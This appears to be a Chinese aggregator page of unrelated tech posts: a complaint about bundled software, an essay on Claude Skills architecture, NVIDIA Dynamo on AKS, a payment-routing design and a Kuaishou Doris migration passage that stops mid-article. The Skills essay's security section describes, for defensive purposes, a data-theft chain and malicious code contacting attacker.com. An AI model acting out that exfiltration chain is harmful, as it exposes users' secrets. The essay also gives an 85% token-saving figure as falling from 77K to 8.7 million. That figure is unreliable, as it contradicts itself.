包含关键字 typecho 的文章

今天用夸克网盘下载了一个文件,下载之后 dock 上突然多了个“夸克启动台”的 app
甚至都没问过我要不要安装这种东西,就直接蹦出来了
从它变成浏览器,又是 ai 搜索,又是悬浮球,又是划词翻译 吧啦吧啦一大堆乱七八糟的功能
国产 app 什么时候能有一些边界感 有点底线啊

ps 有没有人知道这个启动台在哪删啊😂 /Application 都没有

Claude Skills 架构解析:从提示工程到上下文工程,深入剖析其设计理念与实现细节,帮助你理解现代 AI 系统的构建方法。原文:Claude Skills Architecture Decoded: From Prompt Engineering to Context Engineering

过去二十年,软件架构领域经历了深刻变革,从单体应用向微服务的转变标志着系统设计理念的一个分水岭。如今,我们正处于 LLM 应用领域同样重大的范式转变的边缘。作为一名多年构建生产级 AI 系统的架构师,我认为必须从根本上重新构想智能应用的构建方式 —— 从传统“提示工程”转向我称之为“上下文工程”的更具结构化和模块化的方法。Anthropic 于 2025 年 10 月推出的 Claude Skills 架构,是这一转型中的一个里程碑成就。

核心主张:三项可验证的保障

为避免“引入功能却没有可测试结论”的陷阱,我将 Skills 架构的价值浓缩为一个可验证的命题:Skills 将 LLM 系统从“基于文本的单一提示”转变为“版本控制、可审计、可组合的运行时模块”。核心利益源自三项可衡量的保障:

  • 情境预算控制:利用渐进披露区分“常驻/激活/执行”情境成本,防止一次性加载
  • 执行路径控制:将关键逻辑从自然语言推理迁移到可测试脚本,将模型定位为编排器而非解释器
  • 权限边界控制:利用沙盒、网络代理和权限提示,将工具执行限制在可审计、可治理的边界内

这三个“控制”构成我们分析的骨干,我们将深入探讨每个工程模式。

上下文窗口的“公地悲剧”

软件架构图完全指南

在 Skills 出现之前,构建复杂 AI 代理面临着“上下文共享悲剧(context commons tragedy)”。当试图将通用模型如 Claude 3.5 Sonnet 转变为领域专家时,传统方法是将所有业务规则、品牌指南、API 文档和错误处理程序塞入一个庞大的系统提示词中。

这种方法论产生了三种严重的技术债务:

  • 注意力稀释:随着上下文窗口充满无关信息,模型处理特定指令的精度下降 —— 学术界称之为“中间迷失(Lost in the Middle)”现象。
  • 推理成本和延迟:即使处理简单请求,如果系统提示符包含 50 页文档,每次 API 调用都会为这些非活跃知识付费,同时显著增加首个 token 时间(TTFT,Time To First Token)。
  • 维护不可持续性:庞大的提示文本块难以进行版本控制,无法进行单元测试,且极易因小幅修改而出现不可预测的“蝴蝶效应”。

2026 年 1 月,Anthropic 工程团队记录显示,仅工具定义在优化前就可能消耗 134K token —— 典型的 GitHub MCP 服务器会增加约 46,000 token,Jira 则消耗约 17,000 token。团队报告称,仅 MCP 工具在编写一行代码前就占用了 72% 的上下文。

动态加载:“闪存”的隐喻

Claude Skills 核心设计理念是将“知识”与“推理”分离开来。如果我们将 LLM 的上下文窗口比作计算机 RAM,传统提示工程试图在启动时将所有数据加载到内存中。相比之下,Claude Skills 更像是可热插拔的外置存储设备(USB 闪存驱动器)。

在这种架构下,代理不必“记住”所有知识,只需要知道自己具备哪些能力。当(只有当)用户触发特定任务时,相关知识模块(技能)才会动态加载到内存中。这种设计使代理能够掌握数千项技能 —— 从“SQL 性能优化”到“法律合规审查” —— 在初始化过程中无需额外上下文资源,从而实现无限的可扩展性潜力。

渐进披露(Progressive Disclosure):三层加载算法

Claude Skills 通过一种独特的加载算法 —— 渐进披露,实现了高效扩展。这种分层加载策略最大限度减少了 token 消耗,同时最大化模型在特定任务上的性能。

三层账本模型(The Three-Tier Ledger Model)

如果我们将“上下文窗口”概念化为系统账本,每个请求支付三种类型的预算,所有后续优化策略都可以被理解为“在不牺牲目标的情况下减少一种预算类型”:

  • 常驻成本:会话启动时持续占据空间的内容,如技能元数据索引和全局约束(对应第一级)
  • 激活成本:技能加载时注入的指令体(对应2级)
  • 执行成本:运行时进入上下文的运行时构件 —— 工具返回值、文件内容、脚本标准输入输出(对应第3级)

从工程角度看,该账本同时确定了三个因素:

  • Token 成本:账本的直接计费项目
  • 延迟:常驻/激活费用直接影响 TTFT;执行成本影响整体完成时间和交互节奏
  • 确定性:当执行成本主要来自“可测试脚本输出”时,系统行为比“模型实时写入和解释”更稳定。

渐进披露状态机

运行时过程可以形式化为有四个状态的状态机,以澄清“当前在上下文中存在的、可回收的以及污染的来源”:

S0(空闲):基础系统提示符 + 元数据索引(总共 ~100–500 个 token)
S1(技能激活):S0 + 选定 SKILL.md 内容(~1K-5K token)
S2(执行中):S1 + 工具输出、文件读取、脚本结果(变量,可能无界)
S3(总结):返回 S0/S1,仅保留提炼结果

状态机揭示了两个关键洞见:

  • 上下文污染源:主要来源于 S2 大量的中间输出(工具返回、错误、调试日志)
  • 污染隔离机制:主会话可以保留在 S0/S1,将试错过程分发给分支的子会话;子会话终止后,只有摘要回填到 S3,避免主上下文膨胀

根据 Anthropic 的工程数据,2026 年 1 月启用工具搜索后,系统实现了 token 开销降低 85% —— 从 7.7 万降至 50+ MCP 工具下的约 870 万。

物理解剖:SKILL.md 规格

作为架构师,理解 Skills 的物理结构至关重要。与封闭数据库记录不同,Claude Skills 采用基于文件系统的设计,本质上支持 Git 版本控制、CI/CD 流水线以及现有 IDE 开发流程。

标准目录结构

data-analysis-pro/           # 根目录,必须与 Skill ID匹配
├── SKILL.md                 # [必选] 核心定义文件
├── README.md                # [可选] 人类可读文档
├── scripts/                 # [建议] 可执行代码库
│   ├── clean_data.py       # Python 清理脚本
│   ├── visualize.R         # R 可视化脚本
│   └── query_db.sh         # Bash 数据库查询包装器
├── templates/              # [建议] 输出模版
│   ├── report_format.md    # 报告结构定义
│   └── email_draft.txt     # Email 草稿模版
└── resources/              # [可选] 静态知识库
    ├── schema.json         # 数据库结构定义
    └── glossary.csv        # 术语表

该结构体现了“关注点分离”:SKILL.md 处理与 LLM 的自然语言交互,scripts/ 处理确定性逻辑计算,resources/ 存储静态知识。

YAML 前置配置

YAML 前置文件作为 Skill 的 API 签名,决定系统如何识别和调用:

---
name: data-analysis-pro
description: Analyzes CSV/Excel datasets using advanced statistical methods. Use when the user asks for "trends", "forecasts", or "data insights".
allowed-tools: Read,Bash,Grep
user-invocable: true
context: fork
agent: plan
---

关键字段定义:

  • name(必填):必须与目录名称完全匹配;仅限小写字母、数字和连字符;最多 64 个字符
  • description(必填):最关键的字段(最多 1024 字符)—— 不仅仅是文档;更是触发逻辑。Claude 对文本进行语义匹配来决定是否加载该 Skill。最佳实践:“当用户请求时使用这项 Skill ……”
  • allowed-tools(可选):在 Skill 激活时限制可调用工具范围,缩小执行表并整合权限请求。如果省略,则不适用约束;标准许可模式遵循 Claude Code 的标准审批流程
  • context: fork(高级):设置为 fork 时,Skill 在独立子代理上下文中运行,防止中间步骤污染主会话

企业团队的生产部署数据显示,正确配置 Skill 可减少 84% 的权限提示,而团队报告生产力提升 8 倍,部署周期加快 25%。

安全治理:双重隔离架构

沙盒:让容器更独立

随着代理获得执行代码和操作文件系统的能力,安全性成为不可妥协的核心关注点。Claude Skills 引入了基于原语的操作系统级沙盒机制,以防止“越狱”或恶意操作。

二维隔离

Claude Code 的沙盒环境(Linux 上的 Bubblewrap,macOS 上的 Seatbelt)实现了二维隔离:

  1. 文件系统隔离

默认行为:写权限限制于工作目录和子目录;读权限覆盖大多数机器路径,但排除某些被拒绝的目录;工作目录外的修改需要明确权限,通过允许/拒绝规则进行细化。

该设计在语义上将“读”与“写”解耦:在保持故障排除可观察性的同时,持续的写破坏半径仍局限于工作区内。

  1. 网络隔离

Skill 网络请求不能直接穿越主机网卡,所有网络流量都必须经过维护允许列表的专用代理服务器。这一出站限制同样适用于 Skill 发起的脚本和子进程,形成工程闭合边界。

举个例子:“GitHub PR 审核” Skill 只能访问 api.github.com,如果恶意代码试图连接 attacker.com 泄露数据,代理层会立即丢弃请求。

攻击链与控制点

为了将安全控制转化为可审计的治理行动,这里有一个最小威胁模型骨架图:

典型攻击链:诱导决策 → 尝试读取敏感信息 → 尝试窃取 → 尝试持久写入

控制点映射:

  1. 通过拒绝规则控制读操作,缩小敏感路径
  2. 写控制默认为工作目录;跨目录修改需要权限
  3. 通过代理和域限制实现出站控制;新域名触发权限请求
  4. 通过 PreToolUse 和 PermissionRequest 钩子实现允许/拒绝/请求策略的行为控制

实际实现:工程团队用 Rust 构建自定义权限钩子,通过允许特定命令模式减少权限提示,同时阻止 shell 注入字符,实现批准操作的零开销执行。

Skill 与 MCP:合作而非竞争

API 与 Web 开发

在 Anthropic 生态系统中,模型上下文协议(MCP)和 Skill 代表了两个常被混淆的概念,两者的澄清对架构设计至关重要。

核心区别矩阵

|功能|Claude Skills|MCP|
|-|-|-|
|基本定义|操作流程知识(怎么做)|连接与能力(是什么)|
|主要功能|“怎么做”:流程、SOP、逻辑编排|“用什么”:数据源、API 接口、工具|
|架构|本地文件系统(Markdown + 脚本)|客户端-服务器架构(JSON-RPC 2.0)|
|可迁移性|高(Git repo 分发)|需要服务器连接配置|
|上下文影响|动态加载(按需消费 token)|静态工具定义(常驻调用或被动调用)|
|使用场景|复杂工作流、代码审查标准、生成报告|数据库查询、即时数据检索、系统集成|

从“系统边界”角度来看,它们的角色可以更严格的定义为边界契约:

  • MCP 是工具平面:解决连接、认证、数据访问和可观测性问题 —— 使“工具调用”变得可实现且可治理
  • Skill 是流程平面:解决意图映射、步骤编排、异常策略和输出规范 —— 使“工作流”模块可以实现版本控制且具备可审计性

效能:Token 经济学的现实

2026 年 1 月的基准测试显示,token 开销存在显著差异。Twilio 的 MCP 性能测试显示,支持 MCP 的代理平均消耗多出 27.5%,缓存读取量增长了 28.5%,缓存写入量激增了 53.7%。

一个开发团队记录了他们的 MCP token 的爆炸式增长:在 10 多个 MCP 服务器上,每个请求需要约 150 个工具定义,模型甚至在处理用户查询前就消耗了大量上下文。他们采用“代码模式”的解决方案将 token 使用率降低了 60–70%,交互次数从 6–10 次减少到 3–4 次。

相比之下,Skills 的渐进披露确保元数据在激活前每个技能仅消耗约 100 个代币,平台数据显示 Skills 可将代币使用量从每次手动指令的 5,000–10,000 个减少到极低的元数据成本,直到需要时才加载。

合约与失败模式

MCP 提供了工具功能面;Skills 提供流程协调面。为防止异常期间的系统偏离,定义 MCP 调用的返回合约和失败策略,至少涵盖四种常见故障模式:

  1. 工具超时:设定超时和重试限制(建议包含回退);超限触发快速失败和退化/人为干预
  2. 工具返回不稳定或模式漂移:验证关键字段结构(如有必要,指定版本);在漂移模式下,降级为“只读显示原始返回+即时人工确认”。
  3. 权限被拒绝:定义清晰的降级路径(例如,只读模式,最小可行结果);明确提示用户输入“需要人工批准的点”。
  4. 数据不可得或不一致:优先返回可解释的错误分类(可重试/不可重试);如有必要,允许返回“过时但可用”的缓存结果并带有一致性风险警告

企业团队报告称,将 Skills 与 MCP 结合(MCP 服务器收集数据、Skill 进行分析)能够实现最佳效果。Skill 激活频率追踪和错误率监控实现持续优化。

高级代理模式:递归、分叉与自我进化

掌握基础架构后,可以利用 Skills 构建更复杂的代理行为。

上下文分叉:平行宇宙隔离

在处理极其复杂的任务(如“重构整个后端 API”)时,主会话的上下文常常充满数百次尝试、错误和调试信息,导致模型“疲劳”并遗忘初始目标。

context: fork 是解决这个问题的关键功能。其工作流程如下:

  • 机制:当 Skill 激活时,Claude 创造了一个临时的、孤立的“平行宇宙”(子代理)
  • 流程:子代理在这个隔离环境中完成所有脏工作(运行测试、修复错误、重跑测试)
  • 合并:只有最终成功结果(或精炼后的失败报告)返回主会话;丢弃所有中间进程标记
  • 应用:类似于 Git 的功能分支工作流 —— 主分支(主会话)保持干净;所有开发噪声仅限于临时分支(子代理)

生产数据显示,子代理能显著减少上下文污染。一项分析发现,分叉上下文使得 token 的探索效率更高,而主会话则保持可读性,避免每回合重复发送垃圾数据。

组合与元技能

更严格的说,Claude 可以在同一会话中按需激活多个 Skills,通过编排形成复合工作流程。是否允许嵌套调用,以及调用链如何受权限和运行时影响,应由实际运行时和权限设置来决定。

示例:构建 software-architect Skill,其指令不直接编写代码,而是:

  1. 调用 requirement-analysis Skill 来分析文档
  2. 调用 database-design Skill 来生成模式
  3. 调用 api-scaffolding Skill 来生成代码框架

这种可组合性使智能体系统能力能够呈现指数级增长,而非线性增长。

自我提升技能:长期记忆

利用文件系统的持久性,可以构建“长期记忆”技能:

情景:代码审查 Skill 机制:

  1. Skill 执行代码审查
  2. 如果用户拒绝了评论意见(反馈)
  3. Skill 会自动调用脚本,并将用户反馈附加到文件 resources/review_guidelines.md
  4. 下一次执行会读到更新的指南

重要性:实现真正的“在职学习” —— 代理会越来越多的根据团队的使用偏好调整,无需再训练模型。

一个实施前端代码审查模式的团队发现,由于审查频率高,Skill 消耗 token 的速度令人担忧,但自我提升周期不断提升审核质量,形成了良性反馈循环。

企业生产部署:经过实战考验的实战手册

实际生产部署需要超越演示,转向可持续且可治理的系统。以下是基于 2026 年 1 月现场数据的精简企业策略。

每周实施

第 1 周:基础

  • 配置所有禁止权限、基于允许列表的权限:仅工作区文件系统、仅需工具的外壳、允许列表的网络域
  • 在仓库根目录建立 CLAUDE.md 以获取项目背景
  • 对 SIEM 实施全面日志
  • 从部署/生产环境进行分段构建/测试

第 2 周:Skill 发展

  • 针对投资回报率最高的工作流,培养 2–3 项核心 Skill
  • 实现确定性测试:<2 分钟运行时间,TDD 周期(失败 → 通过 → 审查 → 提交)
  • 运行多模型交叉验证
  • 建立沙盒测试环境

第 3 周:团队规模扩展

  • 部署各部门的专业项目
  • Skill 版本化:生产环境固定稳定版本,开发环境使用最新版本
  • 默认为 private;选择性分享
  • 记录每个 Skill 的全面输入/输出

第 4 周:监控与迭代

  • 追踪:token 使用率、Skill 激活率、生产力提升、错误率、安全异常
  • 围绕会话重置安排高负载使用时间
  • 实施持续反馈循环以提升 Skill
量化结果

实施本战术手册报告的团队:

  • 目标工作流的生产力提升 8 倍
  • 部署周期加快 25%
  • 复杂任务准确率达 83%
  • 通过确定性测试减少 10–15% 的错误
  • 通过渐进披露优化,token 成本降低 60%

一家金融服务公司利用 Skill 构建了全公司范围的知识层,将专业知识组织到四个领域(AI、数据、基础设施、用户界面),实现了团队间专业知识的无缝转移。

战略转折点

Claude Skills 不仅是一项新功能,更是将 AI 代理工程化为生产系统的基础步骤。通过将软件工程成熟的模块化、封装、版本控制和权限管理原则引入生成式 AI,我们终于拥有了构建可维护、可扩展和安全企业级智能代理的完整工具链。

对于每一位技术领导者来说,战略优先级应从完善单一提示词转向构建组织的技能库。这个存储库(嵌入独特的企业流程、知识和工具)将成为 AI 时代最关键的数字资产。

范式已经发生了转变,架构经过了验证,结果可以衡量。问题不再是是否采用上下文工程,而是能多快建立在这方面表现出色的组织能力。


Hi,我是俞凡,一名兼具技术深度与管理视野的技术管理者。曾就职于 Motorola,现任职于 Mavenir,多年带领技术团队,聚焦后端架构与云原生,持续关注 AI 等前沿方向,也关注人的成长,笃信持续学习的力量。在这里,我会分享技术实践与思考。欢迎关注公众号「DeepNoMind」,星标不迷路。也欢迎访问独立站 www.DeepNoMind.com,一起交流成长。

本文由mdnice多平台发布

微软和英伟达已经发布了他们合作的第二部分,即在Azure Kubernetes Service(AKS)上运行 NVIDIA Dynamo 进行大型语言模型推理。第一个声明的目标是在分布式GPU系统上实现每秒 120 万个 token 的原始吞吐量。现在,这个最新版本专注于帮助开发人员更快地工作并提高操作效率。它通过自动化资源规划和动态扩展功能来实现这一点。

 

新的功能集中在两个集成组件上:Dynamo Planner Profiler和基于 SLO 的Dynamo Planner。这些工具协同工作,解决在解耦服务中的“速率匹配”挑战。团队在拆分推理工作负载时使用这个术语。它们将处理输入上下文的预填充操作与生成输出 token 的解码操作分开。这些任务运行在不同的 GPU 池上。如果没有合适的工具,开发团队需要花费大量时间来确定这些阶段的最佳 GPU 分配。

 

Dynamo Planner Profiler 是一个预部署模拟工具。它会自动搜索最佳配置。开发人员可以跳过手动测试各种并行化策略和 GPU 计数,节省 GPU 利用率的时间。相反,他们在 DynamoGraphDeploymentRequest (DGDR)清单中定义自己的需求。分析器会自动扫描配置空间。它测试了预填充和解码阶段的不同张量并行度大小。这有助于找到在保持延迟限制的同时提高吞吐量的设置。

 

分析器包括一个 AI 配置模式,可以根据预先测量的性能数据在大约 20 到 30 秒内模拟性能。这种能力允许团队在分配物理 GPU 资源之前快速迭代配置。输出提供了一个调整后的设置,以提高团队所说的“Goodput”。这是最高的吞吐量,同时保持第一个 token 的时间和 token 间的延迟在设定的限制内。

 

一旦系统投入生产,基于 SLO 的 Dynamo Planner 就将接管作为运行时编排引擎。这个组件是“LLM 感知的”,这意味着与传统负载均衡器不同,它会关注集群状态。。它跟踪诸如解码池中的键值缓存加载和预填充队列的深度等内容。规划器使用分析器的性能界限来扩展预填充和解码工作器。这有助于在流量模式变化时满足服务级别目标。

 

该公告通过一个详细的航空公司助手场景来说明这些能力。在这个场景中,Qwen3-32B-FP8模型支持一个航空公司移动应用程序。它遵循严格的服务级别协议:第一个 Token 为 500 毫秒,Token 间的延迟为 30 毫秒。在正常操作中,系统运行一个预填充工作器和一个解码工作器。当天气中断导致 200 个用户发送复杂的改道请求时,规划器注意到了峰值。然后它扩展到两个预填充工作器,但仍保持一个解码工作器。团队报告说,新工作器在几分钟内上线,允许系统在流量峰值期间维持延迟目标。

 

这个版本建立在原始 Dynamo 公告中引入的框架之上,InfoQ 在 2024 年 12 月报道了这一点。在上一篇文章中,Azure 和英伟达解释了 Dynamo 的设计如何将计算密集型和内存绑定任务分散到各种 GPU 上。这允许团队独立优化每个阶段,将资源与工作负载需求相匹配。例如,电子商务应用程序的预填充任务可能处理数千个 token,而其解码任务只生成简短的描述。

 

从手动设置转向自动化、SLO 驱动的资源管理,展示了团队如何在 Kubernetes 上更好地处理大语言模型部署。规划器组件提供了将延迟需求转化为 GPU 分配和扩展选择的工具。这旨在降低运行解耦推理架构的操作负担。自动化工具可以帮助需要推理重或长上下文 LLM 的组织。它们使管理复杂的多节点 GPU 设置变得更容易。它们还支持在变化的流量模式下满足服务级别目标。

 

原文链接:

https://www.infoq.com/news/2026/01/nvidia-dynamo-ai-kubernetes/

image
目前 2 台主力机一台 win10,一台 macmini。不太想用双屏,上了 kvm 切换显示。
办公室还有一套备用 win10 主机。
准备了 4 条备用线路,专线 x1,家宽 x3。

image

最近这两年很多学校采购(也可能是合作)了 WPS 教育版,用学号登录就可以领取,大家可以看看自己的学校有没有这些权益。

建议不开启云同步,不知道管理员能不能看到文件,我没开启,本地用用高级功能和一些会员功能。

背景

海外支付系统面临监管差异、场景复杂、渠道质量不一等挑战。原有方案定制化程度高,导致接入慢、维护难,无法支持业务敏捷拓展。三方支付渠道的不稳定性也对支付体验及业务指标造成影响。需构建智能支付路由系统,实现支付路径优化与风险防控,为全球化业务提供稳定高效的支付支撑。

海内外差异

从金融信贷业务的视角审视。海内外市场在支付模式与信贷结构上存在系统性差异,这一差异直接传导至支付路由系统架构的设计逻辑与实现路径。由于资金合作模式的多样性以及支付行为范式的区域性特征,支撑不同业务线的支付系统在资金流转机制、风险控制框架、用户交互设计及合规适配层面均呈现显著差异,集中体现在以下四个关键维度:

资金流转模式

国内助贷采用机构直连放款,资金从持牌机构经银行存管直接划转至用户,链路短且封闭。海外则需平台介入中转,借助第三方支付从平台账户二次拨款至借款人,链路更长且支付机构在资金储备、入金及清算上差异显著,因此必须建立精细化的备付金管理体系,将其作为路由决策核心,以平衡效率与流动性风险。
image.png

用户还款交互模式的范式转变

国内还款主要采用用户授权代扣模式,通过已签约的支付协议自动扣款,流程简洁、确定性高。相比之下,海外普遍采用虚拟账户充值模式,用户需通过专属虚拟账户主动完成还款操作,这增加了前端交互的复杂度,且不同国家与业务线对还款方式和支付渠道的偏好差异明显。因此,还款系统需具备智能路由和个性化收银台配置能力,以根据不同地区和场景动态适配渠道、界面与交互,提供定制化的还款体验。
image.png

风险控制与失败归因机制

国内支付依托银行验证,风险集中于信用维度。而海外用户广泛使用电子钱包等工具,频繁受单笔限额、累计限额、账户等级等约束。因此系统需建立精细化的失败归因体系,将限额、身份验证等与通道无关的失败原因单独归类,避免其干扰通道性能评估,确保路由决策基于通道真实服务能力。
image.png

运维策略与容灾机制

国内支付基础设施成熟稳定,服务中断多源于计划内维护。相比之下,海外第三方支付常因技术、合规等原因发生非计划中断,且部分银行有固定交易黑暗期。系统需支持预设维护窗口与黑暗期规则,并在这些时段自动将交易降级至备用通道,以保障交易成功率与体验连续性。
image.png

名词解释

支付渠道

支付交易体系中面向终端用户的交互界面层,特指支付服务提供商向用户呈现的可选支付方式的完整集合。这一概念的本质在于用户可感知性——它代表了用户在完成交易时,在支付界面所面对的具体选择项。如国内的支付宝、微信支付、银行渠道。

供应商

支付交易体系中的基础设施提供方,指具备支付清算资质和技术能力,为商户或支付服务商提供支付处理服务的金融机构或支付机构。他们是支付交易链中的能力输出方,支撑着整个支付交易的运转,通常存在以下三种类别:

二方银行:商业银行作为直接的支付服务提供方,如ICBC, ABC, CCB等。

三方支付机构:获得支付业务许可的非银行金融机构,如支付宝、微信等。

聚合支付服务商:整合多方支付能力,提供一站式支付解决方案的技术平台,如云闪付、美团支付等。

支付通道

支付通道是金融支付领域中一个抽象的业务概念,特指将资金供应商、交易产品形态与清算银行三者有机结合形成的标准化资金流转路径。具体而言,它描述了资金从供应方经由特定产品模式,通过指定银行机构完成向最终收款账户转移的完整执行链路。

通俗来讲:当前用户绑定支付渠道是ICBC,系统通过聚合支付宝付给用户打了一笔款,那么宝付 -> ICBC就代表一条支付通道。

路由

基于支付通道的属性特点和业务需求的个性化需求,线上每一笔资金支付交易都需要筛选出符合业务需求的最优通道。简单来说,就是当业务系统需要收付款时,路由系统负责为其选择一条最佳的支付通道(时效、成本、成功率),路由的主要功能,即为线上的每一笔资金交易提供最终的决策支持。

路由主要分为两类:一类是收银台展示支付方式的路由,它根据不同的用户和业务线的个性化需求,展示不同的支付方式及其排序,即引导路由;另一类则是绑定的支付渠道提交支付请求的路由,它根据支付交易的属性匹配通道的属性,从而选择最适合该笔支付交易的通道来进行资金交易,即交易路由
image.png

海外支付路由系统建设

基于海内外支付系统在资金流转路径、用户交互模式及监管合规环境等方面存在的结构性差异,结合支付底层核心概念的抽象与重构,海外支付路由系统需构建一套具备高度适应性、智能性与可扩展性的技术架构。系统主要围绕以下六个核心功能模块展开设计,以支撑海外新业务线的高效接入、稳定与合规运营:

统一领域建模体系

对支付交易全链路进行高阶抽象与标准建模,建立统一支付域语言与核心聚合(渠道、通道、三方、路由策略)。通过解耦业务逻辑与技术实现,消除不同业务线(消费贷、现金贷、BNPL等)与多元支付供应商(银行、电子钱包、聚合支付三方)间的异构性。实现配置驱动的策略管理机制,确保支付规则、费率结构、限额控制等核心参数可实现全局配置、即时生效与跨域共享,大幅提升系统的灵活性与维护效率。

智能路由与容灾降级机制

构建实时、多维的通道健康度监控体系,通过动态采集成功率、响应时间、错误率等关键指标,实现对支付通道的持续性能评估。当特定通道成功率低于预设阈值时,系统自动触发熔断机制,实时将流量切换至备用通道,保障交易连续性。熔断通道进入隔离状态后,系统通过定期探测与渐进式恢复策略,自动验证通道可用性并实现平滑恢复,形成完整的“监控-熔断-恢复”闭环,显著提升系统整体可用性与韧性。

可视化运营管理平台

基于低代码与可视化设计理念,构建面向业务运营人员的自助式管理平台。支持对业务场景配置、资金调度计划、渠道额度分配等核心运营要素进行图形化编排与实时调整。运营人员可通过拖拽式界面完成策略配置,实现秒级发布与即时生效,大幅降低对技术资源的依赖,提升业务响应速度与运营自主权。

定制化场景路由策略

针对差异化业务场景提供专属路由策略配置能力。对于大额资金结算场景,系统支持配置专属高可靠通道与多级复核流程;针对机构客户或BNPL(先享后付)合作商户,提供定制化的结算周期、分级费率与专属通道路由策略。通过场景化策略引擎,实现在统一架构下对特殊业务需求的精准适配与高效支持。

智能成本优化引擎

构建多目标优化的智能决策模型,系统实时计算各支付通道的综合成本(交易费用)、健康状态评分及当前业务需求匹配度。基于动态权重算法,在支付成功率、交易成本、到账时效等多维度约束下,自动选择综合最优支付路径,实现成本效率与服务质量的最佳平衡,持续优化单位交易经济效益。

渠道动态维护与预防式管理

建立渠道全生命周期管理机制,支持运营后台对异常渠道进行实时标记与立即剔除,避免故障通道参与后续路由决策。通过预设维护时间窗口、黑暗期规则及版本迭代计划,实现预防式交易管理。系统自动在渠道维护期间将交易流量降级至备用通道,并在服务恢复后自动回切,最大限度减少计划外停机对业务的影响,保障支付服务的连续性与稳定性。

系统架构

image.png

路由核心模块

交易路由

交易路由是支付体系中的执行层路径选择范式, 专注于在支付请求提交阶段,根据交易的客观属性和通道的技术特性,动态选择最优执行路径。与展示层的引导路由不同,交易路由的核心特征在于路由核心计算逻辑,保证每一笔提交的交易请求可以实时决策出当前系统支持的最优支付通道,保证交易成功率。

交易路由核心流程

通道获取 → 层级筛选 → 三维评分 → 择优决策

层级筛选

① 通道状态 → ② 黑暗期 → ③ 维护期 → ④ 熔断状态 → ⑤ 金额区间 → ⑥ 备付金

路由计算

通道交易路由评分 =  通道成本值 * 成本值权重 + 通道健康值 * 健康值权重 + 通道业务值 * 业务值权重

给定通道  的成本值 、健康值 、业务值 ,其路由评分  计算公式为:

通道成本计算逻辑

通道成本值是一个归一化评分指标,它将不同通道的实际手续费转换为0-100的标准化评分体系。该算法的核心逻辑是:手续费越低的通道,成本值评分越高(最高100分)手续费越高的通道,成本值评分越低(最低0分)。

业务值计算

业务值计算采用策略驱动型二元判定模型,根据预设路由策略规则对用户请求进行匹配性评估。该模型将通道的业务适配度量化为二元评分,以反映通道在特定场景下对当前用户的策略符合程度。 路由策略由三个核心维度构成:

  • 场景维度:界定策略适用的业务场景
  • 用户维度:定义用户标识的匹配规则
  • 通道维度:指定策略关联的支付通道集合
健康值计算

通道  的健康值  由交易成功率  和交易时效评分  加权计算得出:

参数定义:

交易路由流程

image.png

引导路由

引导路由系统作为支付生态体系中的前端智能决策层,承担着连接用户支付意愿与可用支付能力的关键桥梁作用。该系统通过对用户特征、业务场景、交易属性等多维度信息的实时分析,为不同用户群体在不同业务场景下动态生成个性化支付方式展示方案,故引导路由的核心逻辑在于从用户视角出发,而非复杂的路由计算实现。系统将复杂的支付通道能力抽象为用户可理解的支付方式选项,通过智能排序、动态筛选、个性化推荐等机制,降低用户决策成本,提升支付转化效率。

路由核心流程

通道获取→ 策略获取 → 业务路由判断 →  降级计算 → 个性化参数组装

层级筛选

① 通道状态 → ② 黑暗期 → ③ 维护期 → ④ 熔断状态

路由计算

通道引导路由结果 =  通道活跃状态 + 用户可见性 + 业务配置匹配

引导路由流程

image.png

智能熔断

在复杂的支付体系中,通道的稳定性直接影响着每一笔交易的成败。当某个支付通道突然响应缓慢或频繁失败时,系统需要智能地识别、隔离并最终恢复这条"断联"的通道,故路由体系需要支付通道健康监控和熔断机制。

  • 数据采集

系统以分钟为单位,持续收集每条通道的交易表现数据,包括:成功交易数失败交易数待处理交易数平均响应时间等。

  • 熔断机制
触发条件

数据充分性:只有当通道在过去半小时内有至少n笔交易时,才具备被评估熔断的资格——避免因数据不足误伤健康通道。

失败率控制:失败交易占比超过S%?这是一个危险信号。系统会立即分析是偶发问题还是趋势性问题。

积压监控:Pending交易占比超过S%?说明通道处理能力已接近饱和,需要暂时减压。

响应时效:平均响应时间超过T秒?交易时效需要保证。

熔断执行

状态标记:数据记录,明确熔断起始点

通道拦截:设置通道冷却期,期间该通道不会出现在可选列表中

流量转移:所有交易请求自动路由至其他健康通道

恢复策略

状态标记:更新熔断通道状态,可进行交易尝试

康复验证:进入标记状态后,系统不会立即完全恢复通道,而是采用渐进式验证;观察到通道存在成功交易,系统确信通道已康复,标记移除,状态恢复。

未来规划

容灾收单与自动补款体系建设,为彻底解决因渠道瞬时全不可用导致的成交流失问题,规划构建“容灾收单-自动补款”的交易闭环体系,实现路由系统与交易系统的协同迭代。

交易侧容灾收单:当智能路由系统判断所有可用通道均因异常熔断、备付金不足或处于黑暗期而失效时,交易系统将自动启用兜底收单服务,优先保障用户体验与交易流程不中断,完成订单落单。

自动补款:对容灾收单产生的待处理订单,系统将其纳入自动补款队列。路由系统将根据预设策略(如时间间隔、渠道恢复状态)重新发起路由决策与支付尝试,完成资金闭环,最大化挽回交易损失。

作者介绍

导读:面对万亿级广告数据存量、日均 3 亿行增量及数千个复杂查询模板的挑战,快手广告数据平台如何突破性能瓶颈、实现架构统一与体验跃升?本文系统介绍了快手广告团队从 ClickHouse on ES 混合架构,全面迁移至 Apache Doris 的统一分析实践,最终实现查询性能提升 20~90%,写入吞吐提升 3 倍,存储效率提升 60%。

本文整理自快手高级计算引擎研发工程师 周思闽 在 Doris Summit 2025 中的演讲内容,并以演讲者第一视角进行叙述。

快手是国内日活过亿的短视频平台,其广告投放平台是商业化外部广告主与快手电商商家进行广告投放的主要阵地,支持客户在平台上进行广告物料搭建、物料管理、策略变更、数据查看等操作,这对底层数据系统的存储、计算与查询性能提出了极高要求。

要支撑如此大规模的广告投放与实时分析,底层数据架构面临巨大挑战。当前,快手的广告数据包括:由投放系统产生的物料数据以及用于数据分析的效果数据,这些数据呈现出三个显著特征:

  • 数据存量巨大:广告物料累计已达千亿级别,且随业务发展正向万亿规模迈进,存储体量位居公司前列,对架构扩展性提出极高要求。
  • 数据增长迅猛:仅 2025 年第一季度,日均新增广告物料数据同比激增 3.5 倍,要求底层引擎具备强大的实时写入与弹性扩展能力。
  • 数据模型复杂:整个数据体系涵盖约 700 个核心字段,涉及物料、投放、用户、效果等多个维度;同时,为应对多样化分析场景,沉淀的查询模板已超 4000 个,对查询引擎的兼容性与性能均是严峻考验。

架构演进:从分散存储到统一分析

01 早期架构及挑战

早期存储架构中,物料数据由 MySQL、Elasticsearch 协同存储;效果数据主要存储与 Clickhouse 中。

